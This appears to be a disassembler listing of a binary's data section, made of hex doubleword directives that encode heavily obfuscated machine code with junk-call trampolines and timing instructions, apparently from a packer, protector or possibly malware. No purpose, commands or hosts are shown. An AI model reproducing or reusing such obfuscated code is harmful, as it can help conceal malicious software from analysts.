		dd 0E8D1C233h, 0E983D003h, 6AF47504h, 3E85700h,	20000000h
		dd 895FC35Fh, 8104247Ch, 19042444h, 47000000h, 8D5FC357h
		dd 6D753E2Dh, 0E852006Ah, 3, 5AC35A20h,	4245489h, 4244481h
		dd 1Dh,	11C35242h, 0A7EE33BFh, 1B5E87B0h, 0F1B529A6h, 0D05E713h
		dd 88h,	0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 18h
		dd 62C35747h, 505EBA8Ch, 58D0Fh, 86BB0000h, 0F80EC110h
		dd 1AA9958Bh, 6A05E7h, 3E852h, 5A200000h, 54895AC3h, 44810424h
		dd 190424h, 52420000h, 7AD038C3h, 8BA18243h, 0E728719Dh
		dd 4D8D8B05h, 6A05E72Ah, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 1C042444h, 46000000h, 2533C356h, 299B5921h
		dd 5069DFF3h, 188BC28Bh, 188BC103h, 0E8D1C18Bh,	188BC203h
		dd 21BD8B58h, 6A05E71Ah, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 1C042444h, 46000000h, 0B026C356h,	3F3D560Ch
		dd 832CF271h, 0E71865BDh, 840F0005h, 5Ch, 0B8FCh, 0F88B0000h
		dd 4D248D8Dh, 6A05E7h, 3E851h, 59200000h, 4C8959C3h, 44810424h
		dd 140424h, 51410000h, 12E82FC3h, 0FF000000h, 4E14DD77h
		dd 496A4000h, 4A3BE730h, 4ACBEE4Fh, 0E9BD8B7Fh,	5F05E70Bh
		dd 6E8E1FFh, 0C4000000h, 45A3A059h, 41B589EDh, 5B05E71Dh
		dd 2739BD83h, 0F0005E7h, 4CC84h, 51006A00h, 3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1704h,	0C3514100h, 63EB2AEBh
		dd 1349BD8Bh, 0B58905E7h, 5E732D5h, 2739BD83h, 0F0105E7h
		dd 4AF84h, 49958900h, 8305E718h, 0E72739BDh, 860F0305h
		dd 466h, 0E855006Ah, 3,	5DC35D20h, 4246C89h, 4244481h
		dd 17h,	6FC35545h, 8B4538CCh, 0E723C59Dh, 6800F05h, 89000000h
		dd 0E727C58Dh, 830F6005h, 5, 2BC38166h,	0D98C6613h, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 18h, 5EC35141h, 558B766Eh
		dd 0F4CCD381h, 0B5093A0Bh, 5E72CD5h, 6A04E180h,	3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 14042444h, 42000000h
		dd 126C352h, 0E703F1B5h, 0FC90A05h, 11184h, 56006A00h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1804h, 0C3564600h
		dd 0DADE46E9h, 99858B2Ch, 0F05E706h, 684h, 85BD8B00h, 0F05E705h
		dd 8533DFBFh, 5E71309h,	250DBD8Bh, 669005E7h, 5055DFBBh
		dd 0C31C94BBh, 6A903Dh,	3E855h,	5D200000h, 6C895DC3h, 44810424h
		dd 1B0424h, 55450000h, 730348C3h, 4843484Bh, 8B006A2Bh
		dd 0E70A21BDh, 28D36805h, 0DABB6171h, 8134E708h, 2B2C2434h
		dd 0B5BB616Eh, 0FF4F7C19h, 0E71B7195h, 57006A05h, 3E8h
		dd 0C35F2000h, 247C895Fh, 24448104h, 1D04h, 0C3574700h
		dd 2462506h, 26D0F4F8h,	0BB6676F4h, 85893B63h, 5EAA646h
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 16h, 0F9C35646h
		dd 0DE99F6Eh, 6A000002h, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 1B042444h, 40000000h, 6076C350h, 123F88BFh
		dd 0BD8BCD90h, 5E71C3Dh, 858BFE8Bh, 5EAA63Eh, 0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 19h, 0E9C35545h, 73CD3A93h
		dd 499D23EDh, 0C705E718h, 1800h, 0DCE38100h, 6657E7D9h
		dd 0B58BD88Bh, 5EAA642h, 249D9D8Bh, 6CBB05E7h, 8B32780Ah
		dd 0E7328985h, 55006A05h, 3E8h,	0C35D2000h, 246C895Dh
		dd 24448104h, 1604h, 0C3554500h, 89EC4E88h, 0DF816606h
		dd 858B66C7h, 5E70699h,	89E8C380h, 6A0446h, 3E851h, 59200000h
		dd 4C8959C3h, 44810424h, 1C0424h, 51410000h, 11AFF0C3h
		dd 47A61725h, 85898F5Fh, 5E72131h, 0BABB6696h, 0FE8509Eh
		dd 15000000h, 0D4162A5Ch, 9604BB32h, 9AB1FC0Ch,	10E872FEh
		dd 0C2000000h, 0ACC8B550h, 0B71547CCh, 1F65B65Bh, 50557E65h
		dd 5A310F52h, 965B5B58h, 0E857006Ah, 3,	5FC35F20h, 4247C89h
		dd 4244481h, 17h, 12C35747h, 8143B888h,	9E92E3DBh, 3EB5FF74h
		dd 6A05EAA6h, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 1C042444h, 47000000h, 0B6FFC357h, 7AD03891h,	89A18243h
		dd 0E70415BDh, 5A7C6805h, 0FE8AF515h, 83240481h, 8B0B09A9h
		dd 0E7328D9Dh, 46858D05h, 6A05EAA6h, 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 1B042444h, 42000000h, 0AD07C352h
		dd 0D91CFA32h, 9D8B19BAh, 5E72995h, 89DFB350h, 6A2404h
		dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 190424h, 57470000h
		dd 0A28FBFC3h, 9946C69h, 0E71A1595h, 29953105h,	0FF05E722h
		dd 0E71B7195h, 56006A05h, 3E8h,	0C35E2000h, 2474895Eh
		dd 24448104h, 1D04h, 0C3564600h, 0B06A41h, 891A4352h, 0BD2931F9h
		dd 5E72131h, 57006A61h,	3E8h, 0C35F2000h, 247C895Fh, 24448104h
		dd 1404h, 0C3574700h, 3985C778h, 305E727h, 6A000000h, 3E85000h
		dd 20000000h, 8958C358h, 81042444h, 1A042444h, 40000000h
		dd 0D309C350h, 99DEB772h, 8E803h, 0C6310000h, 0C441BB85h
		dd 7E866F9h, 43000000h,	0F4A722AAh, 0BB6618C1h,	5F5F4A16h
		dd 0A646BD83h, 0F0005EAh, 6584h, 52006A00h, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1704h,	0C3524200h, 83B08358h
		dd 48B0Fh, 0BF660000h, 52E9C305h, 6A000000h, 3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 1D042444h, 41000000h
		dd 0CF40C351h, 367ED432h, 0D33D62F3h, 6830Fh, 0EF810000h
		dd 5782C50Fh, 1365BD8Bh, 305005E7h, 4400110Ch, 0E8C10111h
		dd 11443010h, 114C0002h, 0E9835803h, 0EBE77504h, 4305036h
dword_588C68	dd 11640011h, 10E8C101h, 2114430h, 3116400h, 4E98358h
					; DATA XREF: sub_542C3C+11C4Do
		dd 1BEBE775h, 10E8C150h, 3116428h, 2114430h, 11642858h
		dd 11043001h, 7504E983h, 8B00EBE7h, 56006AC0h, 3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1604h,	0C3564600h, 60D0CA34h
		dd 101BD89h, 950905E7h,	5E72F4Dh, 4DCB8161h, 831E0319h
		dd 0E72739BDh, 850F0305h, 390h,	0E855006Ah, 3, 5DC35D20h
		dd 4246C89h, 4244481h, 14h, 0E1C35545h,	8B1BD89h, 0BD8305E7h
		dd 5EAA646h, 61840F00h,	8B000003h, 0E707D9BDh, 46B5FF05h
		dd 8905EAA6h, 0E728158Dh, 1995FF05h, 8905E702h,	0E70C8585h
		dd 3AB58B05h, 6A05EAA6h, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 19042444h, 47000000h, 0A9BBC357h,	3ADEA6ECh
		dd 7E5AC8BFh, 106C720h,	66000100h, 891CC381h, 68D0Fh, 0DF810000h
		dd 2F08B064h, 89D98B50h, 0B5FF2434h, 5EAA646h, 14DADB81h
		dd 95FF49A0h, 5E70031h,	2C2DBD03h, 816605E7h, 8BD515F3h
		dd 0EAA63AB5h, 56006A05h, 3E8h,	0C35E2000h, 2474895Eh
		dd 24448104h, 1504h, 0C3564600h, 9501C79Bh, 5E711BDh, 187D858Bh
		dd 6A05E7h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1A0424h
		dd 57470000h, 0F5A00C3h, 1F3816E6h, 0C48689h, 6A0000h
		dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 180424h, 52420000h
		dd 0B32B27C3h, 0BD8B36E8h, 5E700B1h, 1AA9958Bh,	6A05E7h
		dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 190424h, 55450000h
		dd 0A35ADCC3h, 8B01A0C7h, 0E732699Dh, 4C28305h,	0F1EF8166h
		dd 2050897Ah, 858D48B7h, 5EABAC3h, 0BE9h, 0A9CE6E00h, 8E59BA19h
		dd 0F52872CAh, 0B88689h, 9D8B0000h, 5E712B5h, 1FDDBD0Bh
		dd 6A05E7h, 0E850006Ah,	3, 58C35820h, 4244489h,	4244481h
		dd 1Ah,	0DBC35040h, 0F35C0CF6h,	0BF0FBDA0h, 46B5FFDEh
		dd 8005EAA6h, 95FFA9F7h, 5E71ABDh, 0E852006Ah, 3, 5AC35A20h
		dd 4245489h, 4244481h, 1Ch, 0C1C35242h,	563C150Ah, 0BE70992Dh
		dd 1CF1BD33h, 609605E7h, 0DE9h,	2A886400h, 3023EB6Ah, 0CB2266B1h
		dd 0E957812Eh, 0Dh, 91CC7649h, 0DBC82AF6h, 5606D636h, 50615E87h
		dd 52505250h, 2C3CBF66h, 0BB66310Fh, 585A4692h,	0BE9310Fh
		dd 0AA000000h, 0E2A1CA07h, 35FA25E2h, 585AE818h, 18BF6696h
		dd 46B5FF0Eh, 0F05EAA6h, 68Ch, 0F5BD0900h, 0FF05E701h
		dd 0E7077995h, 95952905h, 8305E724h, 0E72D0DBDh, 840F0005h
		dd 2Ah,	0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 1Bh
		dd 3FC35040h, 0E3230C8Bh, 0FC6EE177h, 8919B750h, 0B5FF2434h
		dd 5EAA646h, 0FFF8B70Fh, 0E7243595h, 399D8B05h,	0FF05E70Ah
		dd 0EAA646B5h, 57006A05h, 3E8h,	0C35F2000h, 247C895Fh
		dd 24448104h, 1404h, 0C3574700h, 0A5D5BBC5h, 95FF6CCCh
		dd 5E7076Dh, 0DB816651h, 835F296Eh, 0E72D85BDh,	840F0205h
		dd 69h,	0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 1Dh
		dd 0E8C35040h, 4FB4969Ch, 3A9C828h, 0DD8589E2h,	8B05E708h
		dd 0E7118585h, 50006A05h, 3E8h,	0C3582000h, 24448958h
		dd 24448104h, 1D04h, 0C3504000h, 1876FDCAh, 0E8E54E73h
		dd 42B34268h, 0E80000C6h, 5, 97AB2DE8h,	18EF802Dh, 1985C75Fh
		dd 5E723h, 6A000000h, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 1D042444h, 41000000h, 0A95DC351h, 62259A8Eh,	3DDE33AFh
		dd 6674DB80h, 26D6C381h, 0FFF308E9h, 57006AFFh,	3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1604h,	0C3574700h, 8BE04C29h
		dd 0E732F1BDh, 6AC18B05h, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 15042444h, 40000000h, 4153C350h, 37CB8166h
		dd 95858D11h, 6A05E713h, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 17042444h, 42000000h, 0A9D4C352h,	0BCBBB0D7h
		dd 9022427Eh, 0DE9h, 0E8E9B400h, 89B6671Ch, 0B28D022Dh
		dd 5050F3C8h, 0FDE8B52h, 43BF6631h, 90585A79h, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 1Bh, 1DC35141h, 0FD4069EEh
		dd 89687724h, 0E703E18Dh, 51006A05h, 6A5BDE8Bh,	99BD8B00h
		dd 0E905E72Ch, 9, 617856Ah, 67BDC4C5h, 5F858DF1h, 6A05EBA7h
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 1A042444h
		dd 40000000h, 16F3C350h, 891E8A63h, 5C083C5h, 0CE8h, 0C3191000h
		dd 0FD4A9158h, 0AC862EF6h, 0CE9D2h, 0FAED0000h,	7F83B52Dh
		dd 5D639F9Ch, 905F04D7h, 50DA8B66h, 0EAC0BF66h,	599D8B90h
		dd 6A05E709h, 10E800h, 38EC0000h, 0AA2E12E5h, 0C158D36Fh
		dd 6E0F5214h, 76B372D5h, 15BD0B5Fh, 6A05E722h, 0BD8B5700h
		dd 5E713BDh, 4D95FF5Fh,	6A05E71Ah, 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 14042444h, 42000000h, 0F981C352h
		dd 0A4AA8D8Dh, 6A05EAh,	3E853h,	5B200000h, 5C895BC3h, 44810424h
		dd 1C0424h, 53430000h, 73403FC3h, 41CCC676h, 0D1FF4CF7h
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 1Ah, 30C35646h
		dd 0D4B6F824h, 9D8BD692h, 5E70CC1h, 99EF8166h, 8DBD83B0h
		dd 105E72Bh, 0AA850Fh, 6A0000h,	3E850h,	58200000h, 448958C3h
		dd 44810424h, 140424h, 50400000h, 9D010FC3h, 5E708F5h
		dd 6A026Ah, 3E850h, 58200000h, 448958C3h, 44810424h, 180424h
		dd 50400000h, 0E94E2FC3h, 9D8BACB2h, 5E72E89h, 0DC8A5290h
		dd 0AE8505Bh, 9B000000h, 0AB1D3E85h, 7E6F5F67h,	8BBF663Fh
		dd 6A905B77h, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 1D042444h, 41000000h, 0DBABC351h, 7191A1CBh,	0F182738Ch
		dd 8800Fh, 8B0F0000h, 2, 0BD8B6160h, 5E72521h, 1ABD95FFh
		dd 0E78105E7h, 7B070F64h, 0E5BE9h, 0E800h, 815D0000h, 0EBA769EDh
		dd 0D7816605h, 9D8BB803h, 5E7240Dh, 800F6060h, 0
		dd 6161C88Bh, 90FD858Dh, 6A05EAh, 3E851h, 59200000h, 4C8959C3h
		dd 44810424h, 1D0424h, 51410000h, 0F079C3h, 0A8DBAA92h
		dd 66A0BA16h, 2842E381h, 5006F380h, 89FB8B66h, 6A2404h
		dd 3E850h, 58200000h, 448958C3h, 44810424h, 150424h, 50400000h
		dd 0BF150FC3h, 1100CCD4h, 35FF64h, 6A000000h, 3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 17042444h, 46000000h
		dd 43DC356h, 896424A0h,	25h, 85FFFC00h,	5E714FDh, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 15h, 55C35242h, 8F45BB00h
		dd 0F7813C7Eh, 310DF540h, 9D09FF6Ah, 5E732E5h, 32B5B5FFh
		dd 6A05E7h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 180424h
		dd 52420000h, 0A537E6C3h, 8166246Fh, 0FF7A31F3h, 0E7045195h
		dd 128E905h, 9D8B0000h,	5E72021h, 0BD8900B0h, 5E713C1h
		dd 840F70E6h, 6, 0A4D9D23h, 9D8905E7h, 5E72CB9h, 9E871E4h
		dd 1000000h, 46DC1F06h,	0A98E76ABh, 32C59D8Bh, 3C5B05E7h
		dd 0E7830F61h, 8B000000h, 0FDE8BFBh, 8166C8B6h,	66A994E3h
		dd 430DCF81h, 6BAh, 41BD8900h, 8B05E724h, 0B70F57C1h, 0E8C15FF9h
		dd 51B52904h, 6605E72Eh, 890FE2F7h, 6, 14119D29h, 0C82B05E7h
		dd 0E9D18BFCh, 9, 0A2655B5Ch, 2CBBDA97h, 6E9E6h, 0B5290000h
		dd 5E728C1h, 1AF9858Bh,	6E805E7h, 14000000h, 8E48B0A2h
		dd 5BFE8B0Bh, 8907C083h, 0E71745B5h, 0BE805h, 0BE960000h
		dd 497DA17Fh, 359D2101h, 299D8B21h, 5F05E704h, 0E900C083h
		dd 5, 75489DB2h, 0FD03BD7h, 1183h, 91BD8B00h, 0E905E723h
		dd 3Ah,	194DBD8Bh, 8D8B05E7h, 5E707CDh,	958529FCh, 8305E718h
		dd 840F01E1h, 1Eh, 0A5835F52h, 5E707CDh, 0EBF66FEh, 0F995892Eh
		dd 2B05E71Ah, 0E721599Dh, 0E905h, 0B58D0000h, 5EB0E72h
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 1Bh, 0A0C35545h
		dd 8892B95h, 31075686h,	0E7040DB5h, 89006A05h, 0E7048DB5h
		dd 0C195FF05h, 6A05E721h, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 1D042444h, 41000000h, 8008C351h, 3B8EB88Dh
		dd 4A23A583h, 1D659D01h, 0B9B905E7h, 66000008h,	83F9D88Bh
		dd 6AFCE1h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 150424h
		dd 51410000h, 0FC9EA3C3h, 0E857006Ah, 3, 5FC35F20h, 4247C89h
		dd 4244481h, 18h, 84C35747h, 479BFF41h,	0B8h, 52006A00h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1D04h, 0C3524200h
		dd 8EFF8EB4h, 71026990h, 0D22B895Fh, 0E852006Ah, 3, 5AC35A20h
		dd 4245489h, 4244481h, 1Ah, 6EC35242h, 87CF3B8Ah, 33AD6647h
		dd 3E8D1C2h, 4E983D0h, 6AF475h,	3E855h,	5D200000h, 6C895DC3h
		dd 44810424h, 160424h, 55450000h, 0EF9A78C3h, 66DF8B66h
		dd 880DD88Bh, 0F000000h, 0C87h,	6890F00h, 89000000h, 0E7207D95h
		dd 0A9958B05h, 6A05E71Ah, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 1B042444h, 42000000h, 915C352h, 8FF1F0F0h
		dd 8D8B8D44h, 5E72A4Dh,	32F99589h, 8B5005E7h, 3188BC2h
		dd 8B188BC1h, 3E8D1C1h,	58188BC2h, 0BCBEF4BBh, 6AF841h
		dd 3E850h, 58200000h, 448958C3h, 44810424h, 180424h, 50400000h
		dd 8FB541C3h, 1CBF2E38h, 8316AA0Eh, 0E71865BDh,	840F0005h
		dd 5Fh,	0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 1Ah
		dd 0E4C35040h, 0A2F3F6F8h, 0BD89ECA5h, 5E711C5h, 0B8h
		dd 53006A00h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1804h
		dd 0C3534300h, 0A3D62D55h, 0BB665163h, 8D5BB32Fh, 0E74D248Dh
		dd 0F9BF0F05h, 83F8E1FFh, 0E72739BDh, 840F0005h, 4F1h
		dd 2CB8157h, 5F4A5E97h,	0B5E1CB81h, 0BD834EEDh,	5E72739h
		dd 0F1840F01h, 8B000004h, 0E71B65BDh, 39BD8305h, 305E727h
		dd 4A8860Fh, 0BB660000h, 958913A7h, 5E72E5Dh, 11E960h
		dd 74960000h, 0A49F8757h, 0AB8536F8h, 1348FBEFh, 66753455h
		dd 6AD98Ch, 3E856h, 5E200000h, 74895EC3h, 44810424h, 1D0424h
		dd 56460000h, 0A8DEAC3h, 179A9049h, 0E9A885B5h,	11h, 9AF2DFF6h
		dd 9675B1F1h, 11EAEB13h, 61B8C65Ah, 0E180FC5Fh,	799D8904h
		dd 0A05E71Ah, 0B4840FC9h, 6A000001h, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 1A042444h, 45000000h, 0F2CC355h
		dd 7A8CA218h, 69B589C7h, 6605E704h, 858BD98Bh, 5E70699h
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 17h, 0C9C35040h
		dd 0E837854Ah, 0Dh, 7BD13083h, 3425DC14h, 0A50AF185h, 0BB5FF984h
		dd 7F5A29CFh, 13098533h, 6A05E7h, 3E853h, 5B200000h, 5C895BC3h
		dd 44810424h, 1D0424h, 53430000h, 335417C3h, 88F76D6Dh
		dd 0BA81267h, 0E72161BDh, 52505005h, 310FF88Bh,	0FFE161BFh
		dd 89585A61h, 6A2404h, 3E856h, 5E200000h, 74895EC3h, 44810424h
		dd 180424h, 56460000h, 988A8DC3h, 0BD038F89h, 5E70CE1h
		dd 0E8F8006Ah, 4, 1F03FFh, 5177BF66h, 8BF98B50h, 0E9042444h
		dd 0Fh,	2A8202E0h, 0A4C0589Ch, 0F572797Bh, 8B5491DAh, 24448900h
		dd 4EEBF04h, 6A587CB3h,	3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 1C042444h, 41000000h, 478C351h, 634140FDh
		dd 51044B5Fh, 6830Fh, 8C0F0000h, 0
		dd 0BEE7815Bh, 0FF60236Fh, 0E71B7195h, 57006A05h, 3E8h
		dd 0C35F2000h, 247C895Fh, 24448104h, 1B04h, 0C3574700h
		dd 0BFADB8Ch, 0DAE9E6A8h, 8589F98Bh, 5EAA646h, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 17h, 32C35141h, 0F8687A8h
		dd 68Fh, 358D8900h, 0E905E728h,	226h, 0EE9h, 1495BB00h
		dd 0EEDF42C6h, 67F6049Bh, 8BD509E0h, 0EAA63E85h, 50006A05h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1C04h, 0C3504000h
		dd 47523CB1h, 0E72D8C4Bh, 0EE9EEh, 1A190000h, 42ED0F27h
		dd 379D5BB4h, 3D010D82h, 0FE8h,	0C4851900h, 5A880FDh, 0D4DEF8FCh
		dd 0D3E7183Ah, 0C75BF88Bh, 1800h, 56006A00h, 3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1B04h,	0C3564600h, 38FDEC8Eh
		dd 9745CD2Ch, 0FE8h, 1BE46700h,	8A922084h, 8ECECD57h, 0C0AD5DF1h
		dd 6890Fh, 0B5010000h, 5E711E9h, 42B58B5Fh, 6A05EAA6h
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 1A042444h
		dd 40000000h, 0AD56C350h, 79B583CBh, 5E964h, 0A5270000h
		dd 0E85AF29Fh, 5, 0D980D4ACh, 858B5FE6h, 5E73289h, 0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 1Ah, 0D0C35747h, 6344252Ch
		dd 830FCAF0h, 6, 39A6EB81h, 6897F15h, 7FD9D8Bh,	858B05E7h
		dd 5E70699h, 819FD781h,	46896EABh, 65E38004h, 0F525050h
		dd 178Bh, 11E800h, 75330000h, 0C8478940h, 0A0B2C4Eh, 34455887h
		dd 5BFDE565h, 8B60310Fh, 615A53D1h, 3489585Ah, 0C7DBBF24h
		dd 9D8B1A43h, 5E72011h,	0A63EB5FFh, 6A05EAh, 3E856h, 5E200000h
		dd 74895EC3h, 44810424h, 180424h, 56460000h, 8EE32CC3h
		dd 0E960FDECh, 0Ch, 53A0A997h, 98357A6Ah, 5FECD01Ah, 1B1DBD8Bh
		dd 686105E7h, 0D8C0AF45h, 318468BFh, 2404815Bh,	275E54BAh
		dd 29E5BD0Bh, 858D05E7h, 5EAA646h, 0E855006Ah, 3, 5DC35D20h
		dd 4246C89h, 4244481h, 19h, 0F6C35545h,	0B73A9D84h, 50D98B96h
		dd 4891CB3h, 518D8924h,	0FF05E716h, 0E71B7195h,	53006A05h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1704h, 0C3534300h
		dd 9F820977h, 5761D88Ah, 5E8h, 3FE4CB00h, 9D8911DEh, 5E71CCDh
		dd 85C75F5Bh, 5E72739h,	3, 0A646BD83h, 0F0005EAh, 4584h
		dd 51006A00h, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1404h
		dd 0C3514100h, 3FE962h,	6A0000h, 3E853h, 5B200000h, 5C895BC3h
		dd 44810424h, 1C0424h, 53430000h, 0CE7C54C3h, 0EA88A4EFh
		dd 3050C210h, 4400110Ch, 0E8C10111h, 11443010h,	114C0002h
		dd 0E9835803h, 0EBE77504h, 4305036h, 11640011h,	10E8C101h
		dd 2114430h, 3116400h, 4E98358h, 1BEBE775h, 10E8C150h
		dd 3116428h, 2114430h, 11642858h, 11043001h, 7504E983h
		dd 8B00EBE7h, 1812BFC0h, 11E84B3Ch, 0EB000000h,	26A59C2Dh
		dd 8F31CA77h, 0F29C2484h, 0E34FF5A9h, 1599D8Bh,	6A5F05E7h
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 15042444h
		dd 45000000h, 0D409C355h, 2739BD83h, 0F0305E7h,	42B85h
		dd 56006A00h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1904h
		dd 0C3564600h, 0DCC150CEh, 8B66F8C0h, 46BD83FBh, 5EAA6h
		dd 3FA840Fh, 860F0000h,	6, 9263C781h, 0B5FF175Ah, 5EAA646h
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 19h, 0DAC35040h
		dd 1F035467h, 1995FF33h, 6A05E702h, 3E85700h, 20000000h
		dd 895FC35Fh, 8104247Ch, 17042444h, 47000000h, 7A65C357h
		dd 0FE8B3086h, 0A63AB58Bh, 6A05EAh, 3E850h, 58200000h
		dd 448958C3h, 44810424h, 1A0424h, 50400000h, 87DB17C3h
		dd 18016EC3h, 0F23AB2BFh, 106C71Fh, 6A000100h, 3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 19042444h, 42000000h
		dd 0D04BC352h, 0C0A895F7h, 1FD5BD8Bh, 505005E7h, 0AEAEBB66h
		dd 2434895Bh, 810Fh, 7BF0000h, 0FF011281h, 0EAA646B5h
		dd 50006A05h, 3E8h, 0C3582000h,	24448958h, 24448104h, 1804h
		dd 0C3504000h, 4C47CD46h, 0DBBF0F46h, 3195FFh, 858905E7h
		dd 5E71875h, 0A63AB58Bh, 6A05EAh, 3E857h, 5F200000h, 7C895FC3h
		dd 44810424h, 190424h, 57470000h, 9ACCF1C3h, 8B26714Bh
		dd 0E7187D85h, 57006A05h, 3E8h,	0C35F2000h, 247C895Fh
		dd 24448104h, 1704h, 0C3574700h, 7BA58BA6h, 0C48689h, 6A0000h
		dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 180424h, 57470000h
		dd 130FCDC3h, 958B1EB2h, 5E71AA9h, 0E850006Ah, 3, 58C35820h
		dd 4244489h, 4244481h, 1Ch, 87C35040h, 8C29AA18h, 0DE767B8Bh
		dd 66DEDB80h, 0C283F98Bh, 53006A04h, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1704h,	0C3534300h, 0AC7E0AF0h
		dd 8E9h, 71739100h, 0C9A193DEh,	2050894Eh, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 15h, 0C8C35242h, 62D78030h
		dd 0BAC3858Dh, 6A05EAh,	3E856h,	5E200000h, 74895EC3h, 44810424h
		dd 180424h, 56460000h, 39CE7EC3h, 8B561BB6h, 0E719059Dh
		dd 8D0F5B05h, 3, 89F98B66h, 0B886h, 55006A00h, 3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1604h,	0C3554500h, 51B8765Dh
		dd 220D9529h, 6A5F05E7h, 50006A00h, 3E8h, 0C3582000h, 24448958h
		dd 24448104h, 1A04h, 0C3504000h, 0AAC45CEFh, 8947FF1Dh
		dd 0E72555B5h, 46B5FF05h, 0F05EAA6h, 689h, 399D8900h, 0FF05E71Dh
		dd 0E71ABD95h, 0EF816605h, 6650B50Fh, 3489D88Bh, 6870F24h
		dd 8B000000h, 0E715419Dh, 46B5FF05h, 6A05EAA6h,	3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 1A042444h, 47000000h
		dd 0D56BC357h, 1E472F6Dh, 51C781BCh, 0FF6E2CFDh, 0E7077995h
		dd 55006A05h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1704h
		dd 0C3554500h, 8880236h, 83F88B66h, 0E72D0DBDh,	840F0005h
		dd 1Dh,	8B665196h, 0E9505FD8h, 0Bh, 2E1F48A7h, 0E941868Dh
		dd 9612D2D3h, 48EF8166h, 46B5FF21h, 0F505EAA6h,	243595FFh
		dd 816605E7h, 0FF8901CFh, 0EAA646B5h, 56006A05h, 3E8h
		dd 0C35E2000h, 2474895Eh, 24448104h, 1604h, 0C3564600h
		dd 0BCF9952h, 0E715699Dh, 6D95FF05h, 105E707h, 0E7004D95h
		dd 85BD8305h, 205E72Dh,	45840Fh, 0DF800000h, 85858B46h
		dd 6A05E711h, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 16042444h, 41000000h, 6731C351h, 0FABF0FB5h,	0E90000C6h
		dd 13h,	43737B76h, 0DCC7BFC5h, 5999A46Eh, 0BEE58CA3h, 0C7698F4Ch
		dd 0E7231985h, 5, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh
		dd 24448104h, 1C04h, 0C3554500h, 6ECCA542h, 101E5394h
		dd 0E9EB8016h, 0FFF2C3E9h, 17880FFFh, 0E9000000h, 12h
		dd 1DD64FA2h, 1DFA3D73h, 0DBBF29CFh, 585FBA6Fh,	0C18B1B2Dh
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h
		dd 16h,	0CC35242h, 0D781FF14h, 78C06B5Eh, 1395858Dh, 6A05E7h
		dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 180424h, 53430000h
		dd 0D6C508C3h, 0E78152CBh, 6BB54097h, 6E890h, 1CA80000h
		dd 64ED1127h, 870Fh, 505F0000h,	18890Fh, 13E90000h, 13000000h
		dd 0FA53B0B3h, 5F556453h, 0ADE5154Dh, 0A44EB018h, 819086F9h
		dd 9D53EDCBh, 0E19D2311h, 6A05E720h, 41B06000h,	18D9529h
		dd 6A6105E7h, 0DD853100h, 8D05E725h, 0EBB7C185h, 0DD9D2905h
		dd 8305E700h, 6A05C0h, 3E850h, 58200000h, 448958C3h, 44810424h
		dd 1B0424h, 50400000h, 181080C3h, 0CD7813BDh, 79BB5039h
